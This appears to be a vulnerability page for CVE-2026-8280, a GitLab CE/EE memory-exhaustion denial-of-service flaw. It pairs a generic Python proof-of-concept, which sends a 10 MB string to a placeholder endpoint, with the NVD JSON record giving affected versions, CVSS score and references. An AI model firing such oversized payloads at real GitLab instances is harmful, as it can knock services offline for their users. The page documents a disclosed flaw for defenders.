CVE-2026-8280

import requests # Proof of Concept for CVE-2026-8280 # This script demonstrates how a crafted payload might trigger memory exhaustion. # NOTE: The specific vulnerable endpoint is not disclosed in this snippet for safety. target_url = "http://target-gitlab-instance/vulnerable_endpoint" login_url = "http://target-gitlab-instance/users/sign_in" # 1. Authenticate to get a session (or use a token) session = requests.Session() # credentials = {'user[login]': 'attacker', 'user[password]': 'password'} # session.post(login_url, data=credentials) # 2. Craft a payload designed to consume memory # This could be a very large string, a deeply nested object, or a specific regex pattern. malicious_payload = "A" * 10000000 # 10MB string as an example headers = { "Content-Type": "application/json", # "Authorization": "Bearer <token>" } data = { "field_name": malicious_payload } try: print(f"Sending payload to {target_url}...") response = session.post(target_url, json=data, headers=headers, timeout=10) print(f"Response Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Request failed (potential DoS triggered): {e}")

{"cve": {"id": "CVE-2026-8280", "sourceIdentifier": "[email protected]", "published": "2026-05-14T06:16:26.207", "lastModified": "2026-05-14T16:20:43.240", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 8.3 before 18.9.7, 18.10 before 18.10.6, and 18.11 before 18.11.3 that could have allowed an authenticated user to cause denial of service through excessive memory consumption due to improper input validation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/05/13/patch-release-gitlab-18-11-3-released/", "source": "[email protected]"}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/579035", "source": "[email protected]"}, {"url": "https://hackerone.com/reports/3329085", "source": "[email protected]"}]}}